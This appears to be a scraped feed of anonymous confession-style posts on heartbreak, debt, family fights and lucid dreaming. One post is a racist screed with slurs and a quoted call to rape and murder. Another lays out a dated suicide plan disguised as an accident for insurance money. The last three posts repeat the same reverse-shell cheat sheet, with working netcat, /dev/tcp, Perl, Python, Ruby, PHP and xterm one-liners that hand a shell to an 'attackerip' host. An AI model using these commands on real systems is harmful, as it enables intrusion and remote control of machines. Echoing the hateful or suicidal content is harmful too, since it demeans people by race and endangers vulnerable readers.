It’s so hard but I’m trying to distance myself from my ex as much as possible but so hard when you have a kid together. It’s hard when I’m having a shitty ass day like today and want to go cry on his shoulder about it but he’s not there, or want to hug him and he’s not there. He still wants to do things as a family but it’s just so hard and I want to protect myself and my son and just am sick of the outsiders coming at me. I realize it’s to much to ask for my family to be back together but this pain is worse then anything, especially with other things piled on top of it. He said his girlfriend won’t be meeting our son for a while which does take some pressure off my chest but it’s gonna happen one day and it’s gonna be the worst. I begged on my knees and cried and fought as hard as I could and still I’m here in last place which is my fault because the relationship ending was my fault. Just wish I could have a second chance. Is that to much to ask? Yes, it is.

posted to relationships by David, Merchant of the Homeless (1 comment)

Notice the only people talking about it is Black people ? The same ones that kept you from going to the mall ? The same ones that made you decide to home school your kids ? Black people keep you from buying gas at a certain service station, heaven forbid you should park somewhere with your lady and just talk. this what they are taught Come up, black dada nihilismus. Rape the white girls. Rape their fathers. Cut the mothers’ throats.Rape and Murder ? Then you wonder why there are so many police shootings on black men in America . Of course Blacks won't figure it out-- the I.Q is barely above mental retardation in other words you some dumb mother fuckers. . blacks kill 9 times more often then whites do. and half kill their own people. don't tell them lets keep it a secret it's kind of hard to win a war when you kill your own army . Oh wait people have told them. Again retardation keeps them from learning this. .

posted to school by Adrian, Soldier of the Lonely (4 comments)

I wonder what is right thing to do ? Fiight for your rights or your values with impervious person like zombies or to run away with the fact that no one is going to understand .

posted to life by Andy, Student of the Rich (1 comment)

I am in way over my head in debt, I don't even know how or why i got into this mess. all i know is that it feels like I am drowning in it..and I have no solution for it. I read online that debt stems from an underlying issue, i.e depression, self esteem. e.g..when i am sad i spend to feel better, at the time i am borrowing i feel like i am sorting that sadness out but in actually sense i am not fixing anything..its the same thing with alcohol, i drink hoping it numbs how i feel but it doesn't really cause its like after that i find myself in a worse place. Each time i come up with a way to settle my debt, I start okay but at some point something goes wrong and my interest rates go up and i simply cant pay off the debt. Again a friend of mine was meant to lend me some money at a very low rate so i could sort out these debts that give me stress. but that has not happened. and now again my mind goes into trying to get more debt to pay off the debt. Is there no easy way surely?. what i think is needed.. 1. clearly i don't have financial discipline, i need someone to be accountable to for my spending..idk, i wish there was a switch i could use to sort this out 2. I need someone to be accountable to for my drinking 3. I need to figure out something i can do that i will enjoy doing and won't need to drink or spend money aimlessly..

what these two habits are doing to me; 1. all this drinking is obviously unhealthy for me, my teeth are messed up, i am practically obese and don't feel good about how i look so that is also doing a number on my self esteem. I may end up losing a guy i love 2. The debt - i can't even sleep in peace, i am always tossing and turning..wondering what i will do or how i will pay it off. This causes me to feel very anxious..i wake up with what i think are anxiety attacks and this just messes up my whole day. how will i cope if this continues? I realise i have a big problem. 4. I get sad a lot, and i wonder if there is just something wrong with me 5. I fear i will one day do something drastic just so all this can go away.. 6. What do I do before i get to such a point... Am I the only who feels this way? I know people say, it all starts from you..etc, but it's hard and there doesn't seem to be a guide. So..where do i go from here? I wish i could enroll myself at some kind of camp where i work for my keep and im not given any money.. i need to break this cycle badly, I am so tired of living like this. I am too old for this, what am i going to teach my future kids. What do I do?

posted to life by Dana, Bright Queen of Musclebeasts (0 comments)

Maybe in 1975 -- Cosa Nostra , I mean Joseph Testa had a lot to do with stopping the child trafficking . untold story of the DeMeo crew - they snuffed out 2 photographers and burned down a studio because they had underage kids in nude films

posted to society by Harper, Consultant of Justice (1 comment)

I’m in love with the father of my son. We broke up all because of me. After I had my son I put a wall up and just blocked him out. Had all these past memories rushing up on me and didn’t know what to do. Had other ma telling me he deserves better and I believed them and let it tear me down. I was raped when I was 15, multiple times. Never faced it and am finally doing that. I want him back so bad but he has this new girl who hates me. She wants to be with him, tells me all these things about them and it’s stuff I’d rather not know because it’s killing me. My biggest fear is that he completely trusts her and doesn’t think it’s her talking to me but I know it’s her. My biggest threat is she says she’s going to be my son’s ‘new mother’ and be a hell of a lot better at it when me and I’m terridied because I’m trying to be so strong for him and it’s hard. Scared she will be a better mom to him and he won’t love me anymore. It’s hard enough losing his dad to her, I’d die if she took my son. The thoughts are just racing in my head and I can’t tell him any of this cause I’d i told him some of the things I knew he’d know it’s her and I don’t want to ruin his life, again. She has blackmail on me and I can’t do much about it because I could get in trouble if it gets out so there’s nothing I can do. I feel so helpless. They almost went to the cops once already but thankfully I know one and he couldn’t do much but if they found out I hacked a phone I could get in trouble and I don’t want to deal with that. I just wish he could see it when he looks at her and just could lie and say he doesn’t like her anymore because if I tell him and she blows up she’s gonna go to the cops and I’ll be the one in trouble. All o did was try to see where I was getting texts from but had to jump through loops to do it. I just don’t know what to do. I look in the mirror and see myself slowly falling apart and I don’t want my son seeing this, he’s my everything, my life.

posted to relationships by Charlie, Master of the Rich (3 comments)

I hate to have to say that outloud, but it's true.  Today she made me so made that tears of anger washed my face.  I haven't felt that kind of anger in a long time. My sister is in a much higher tax bracket than I am and she makes no bones about how much better she is than me.  She talks down to me as if I were nothing.  I love her and yet I hate her. She can make a room full of people feel awkward just with her mood.  It's palpable.  It's like she needs to be personally invited to every family event there is.  And we aren't a formal bunch.  If my mom calls her in the morning and she's busy then, she expects another call later inviting her again closer to the time of  a meal.  My mom bulls up and won't do that and my sister gets offended and says she's "out of the loop". She always says that sarcastically to me like I'm the one keeping her out of the loop.  That's not true at all.   She won't call my parents and they won't call her.  Both thinks the other should do the calling.  Somehow I get put squarely in the middle as I have my whole life.  Each asks me what the other is up to.  Today my sister brought up an instance where she thought she was slighted about being asked to a flea market.  (Although she said I brought it up, which I didn't.)  She was asked the night before and said maybe. The next morning she was asked again and said no because she had been, "left out of the loop." See, she wants to be invited again and again. So, today I told her that maybe in the future if she feels I'm keeping her out of the loop that she should talk directly with my parents. She tells me I'm making an issue out of things and that she does not need my drama.  My drama?  Please.   She said that we would just continue as we always do.  I said, "Alright then.  Have a nice day." I am 46 years old and older than here.  I will not be treated like that anymore.  I've let her walk all over me my entire life and I'm done.  I will not buffer her sand paper personality for my parents any longer.  She can show her true colors. Right now I am so angry at her that I spit nails. She's a bitch and bullying one at that.  She's got a vicious mouth when she's angry. She'll pick an agrument and then tell me it's my drama. Fuck her.
posted to relationships by Blaine, Lover of Time (377 comments)

I discovered my natural talent for lucid dreaming a while ago , although i have been having these experiences ever since a i was a child. There is a underlying world in the astral real , or dream state. The first layer or the first gate is the dream itself, in which you must awaken in order to be lucid , to realize you are dreaming you need a trigger , something odd or out of place in that dream that you begin to question its credibility to physical reality. Once you realize you are in a dream you are aproaching lucidity , you can then either assume you are in a alien place and fall flat on your face or take control of your surroundings by understanding this is YOUR world , the one you have created. Once you make this your absolute truth you will begin to understand lucidity and dreams a bit more. You will also understand you are in a sense , a Creator. You have the innate hability to forge worlds right in front of your eyes with the command of a thought , this is true power, Willpower. You can use your Will in your dreams to influence almost every outcome , as long as you are the only "player" influencing said dream. You see this is only the first gate , or shall i say the kindergarden of lucid dreaming , where you play and experiment with yourself and your natural habilies. When you break the second gate you will realize your dreams sometimes will have other entities in it. And i mean real conscious entities , separate from your own creations. These beings are either alien or human , and their intention will vary greatly. Some of them are leeches , beings that leech life energy from humans by feeding on their emotions , there are many beings that do this to gain power , i call them The Hollow. They will try to scare you or create situations in your dreams that will scare you or create any strong human emotion so they can feed on it. What we call nightmares are actually just these beings orchestrating dreams to influence the Dreamer. They only act this way in the first gate , they will shapeshift to mantain their little dream and trick you to believe this is your dream , when in fact they control it with a few "agents" , but as soon as the Dreamer is lucid or begins to aproach lucidity they will flee since they can no longer influence you or trick you , and also are scarred that you might destroy them.

You see if you die in someone elses dream you die for real. Thats why it is dangerous to invade someones dream and if you should do it make sure that person is lucid and knows who you are , and allows you to be in their dream.

Anyway , this one time i was dreaming in a non-lucid state , and i had a trigger , this trigger was i saw a exact duplicate of my body walking down the street , acting like a complete fool. Upon seeing this i got lucid almost instantly and i aproached the entity posing as me. I actually was so mad that i took complete control of this dream and suddenly the shapeshifter was trapped in my grip , i had him pressed against the floor and my voice echoed in the sky as i said "I am your master" in the most epic and wrathful voice , i felt like Zeus. Then i remember beams of light coming out of the shapeshifter eyes as if i was purging him from my dream. I am not sure if i killed him but if not he will never come back to my dream , thats for sure.

Anyway im still learning the ropes to break the second gate but i know it is a dangerous place out there. If you took the time to read this and have similar experiences about lucid dreaming feel free to share , im always glad to read :)

Have a good day and happy lucid dreaming

posted to religion by Blaine, Chef of Space (1 comment)

The only reason I haven't killed myself is because I don't want my kids to who are young to not get the chance to have a dad. Most days I'm an amazing dad, but that is all I can do. No person or thing perks my interest anymore. I'm going to end it all in an "accident" in 6 months to make sure my life insurance premiums will be at their peak, and that all of the money for them is set. I realized over time I am to unstable to be thier dad, and that they deserve a shot at a great life. Feel awful, but have accepted it and cherish the time I see them a lot. I know they are gonna do amazing things and me being gone ensures that sadly.

posted to life by Harper, Janitor of the Wicked (3 comments)

Because we have aborted over 57 million tax payers since 1973. There are too many old people and too few workers to pay for social welfare programs. It's true. Abortion is literally killing the US as an economic power.

posted to society by Morty, Summoner of Generosity (2 comments)

The rules state that a player is to stand for the national anthem. This is not difficult to fix. Just fine or suspend the players who violate the rules!

posted to society by Stevie, Attendant of Evil (1 comment)

Tell her how you feel, call her cute names, surprise her randomly, go on cute dates and never stop the little things they are what truly matters. Do all the things you didn't do with me with her. Love her more. Don't just do cute things when you fuck up do them all the time because she's pretty freaking great and not as naive as I was. She will leave you the way you left me. Actually no she'll have more respect then to leave you the way you left me.....you cheated....3 years thrown away like it was nothing.....and I Hate that I don't Hate you.....I hate that part of me still wants you....even know I'm with an out of this world guy....you still pop up in my head from time to time.....would I go back....NO.....but its like I can't get rid of you....part of me wants you to get hurt like you hurt me.....part of me wants you happy in life....part of me wants to hug you.....part of me wants to punch you....honestly feel lost

posted to relationships by Ari, Dark Queen of the Irredeemably Moist (3 comments)

I try. I try so hard to be the best person I can be. I am a full time college student who lives at home with my mother, stepfather, and little brother. Alongside being a full time college student, I work part time, have many friends, and a boyfriend. I thought college was supposed to be fun. What happened to all the stories we heard or read about? You know the ones where everyone goes out drinking and partying even on weeknights? Where is that at? Why is it that I feel that nothing I do is right? I am literally making myself sick with just how stressed I am. I see what my mom was talking about now. How stressful everything is. I am failing a class, that is supposed to be one of the easy classes. My boyfriend just doesn't understand, my parents don't understand, no one understands. It seems that the ones who would understand aren't even really my friends anymore. I feel as if I don't belong. I don't belong in college, I don't belong at work, I don't belong in my friendships, relationship, and family. I just don't belong. I literally cannot do it anymore. I am getting to the point to ending everything, not life, just school and work and my relationship. So please just answer my question: What happens now?

posted to life by Nikki, Historian of the IT department (2 comments)

So this is what we have become. Two strangers who barely speak. You're over me I'm still recovering from you but in the end seven was just a number that someday meaning today would have no meaning. Blue will never exist in my world again. She made a great impact but it's all over now. Chapter seven has fully ended.

posted to relationships by Addison, Administrator of Wild Parties (2 comments)

an unbearably simple linux rshell. allows no piping, ;-doubling, command history. just one command per line. but it does work. you must already have your client open and waiting for connection:

(on client/attacker:)

nc -lvvp 9999

(on server/attacked:)

exec 5<>/dev/tcp/[attacker ip]/[attacker port] cat <&5 | while read line; do $line 2>&5 >&5; done

Perl

Shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

XTERM

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:

Xnest :1 Then remember to authorise on your system the target IP to connect to you:

xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest

xhost +targetip # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system: xterm -display attackerip:1 Or:

$ DISPLAY=attackerip:0 xterm

It will try to connect back to you, attackerip, on TCP port 6001.

Telnet

Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

nc -c /bin/sh attackerip 4444

Or:

/bin/sh | nc attackerip 4444

Or:

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

Shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

(Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)

KILLING /CLOSING:

sub the 8080 out for whatever port you used.

lsof -i :8080 | awk 'NR > 1 {print $2}' | xargs --no-run-if-empty kill

These were compiled from everywhere. Cant give links as theyre scrubbed out of posts anyway.

posted to tech by Rook, Gigolo of Evil (2 comments)

an unbearably simple linux rshell. allows no piping, ;-doubling, command history. just one command per line. but it does work. you must already have your client open and waiting for connection:

(on client/attacker:) nc -lvvp 9999 (on server/attacked:) exec 5&lt;&gt;/dev/tcp/[attacker ip]/[attacker port] cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done

Perl

Shorter Perl reverse shell that does not depend on /bin/sh: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;' If the target system is running Windows use the following one-liner: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;'

XTERM

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:

Xnest :1 Then remember to authorise on your system the target IP to connect to you: xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest xhost +targetip # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system: xterm -display attackerip:1 Or: $ DISPLAY=attackerip:0 xterm It will try to connect back to you, attackerip, on TCP port 6001.

Telnet

Of course, you can also use Telnet as an alternative for Netcat: rm -f /tmp/p; mknod /tmp/p p &amp;&amp; telnet attackerip 4444 0/tmp/p

Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags: nc -c /bin/sh attackerip 4444 Or: /bin/sh | nc attackerip 4444 Or: rm -f /tmp/p; mknod /tmp/p p &amp;&amp; nc attackerip 4444 0/tmp/p

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

Shorter Perl reverse shell that does not depend on /bin/sh: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;' If the target system is running Windows use the following one-liner: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;'

Ruby

Longer Ruby reverse shell that does not depend on /bin/sh: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' If the target system is running Windows use the following one-liner: ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");' (Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)

KILLING /CLOSING:

sub the 8080 out for whatever port you used. lsof -i :8080 | awk 'NR &gt; 1 {print $2}' | xargs --no-run-if-empty kill

These were compiled from everywhere. Cant give links as theyre scrubbed out of posts anyway.

posted to tech by Bobbie, Supervisor of Space (0 comments)

an unbearably simple linux rshell. allows no piping, ;-doubling, command history. just one command per line. but it does work. you must already have your client open and waiting for connection:

(on client/attacker:) nc -lvvp 9999 (on server/attacked:) exec 5&lt;&gt;/dev/tcp/[attacker ip]/[attacker port] cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done

Perl

Shorter Perl reverse shell that does not depend on /bin/sh: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;' If the target system is running Windows use the following one-liner: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;'

XTERM

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:

Xnest :1 Then remember to authorise on your system the target IP to connect to you: xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest xhost +targetip # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system: xterm -display attackerip:1 Or: $ DISPLAY=attackerip:0 xterm It will try to connect back to you, attackerip, on TCP port 6001.

Telnet

Of course, you can also use Telnet as an alternative for Netcat: rm -f /tmp/p; mknod /tmp/p p &amp;&amp; telnet attackerip 4444 0/tmp/p

Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags: nc -c /bin/sh attackerip 4444 Or: /bin/sh | nc attackerip 4444 Or: rm -f /tmp/p; mknod /tmp/p p &amp;&amp; nc attackerip 4444 0/tmp/p

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

Shorter Perl reverse shell that does not depend on /bin/sh: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;' If the target system is running Windows use the following one-liner: perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);system$_ while&lt;&gt;;'

Ruby

Longer Ruby reverse shell that does not depend on /bin/sh: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' If the target system is running Windows use the following one-liner: ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");' (Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)

KILLING /CLOSING:

sub the 8080 out for whatever port you used. lsof -i :8080 | awk 'NR &gt; 1 {print $2}' | xargs --no-run-if-empty kill

These were compiled from everywhere. Cant give links as theyre scrubbed out of posts anyway.

posted to tech by Frank, Dark King of the craft table (3 comments)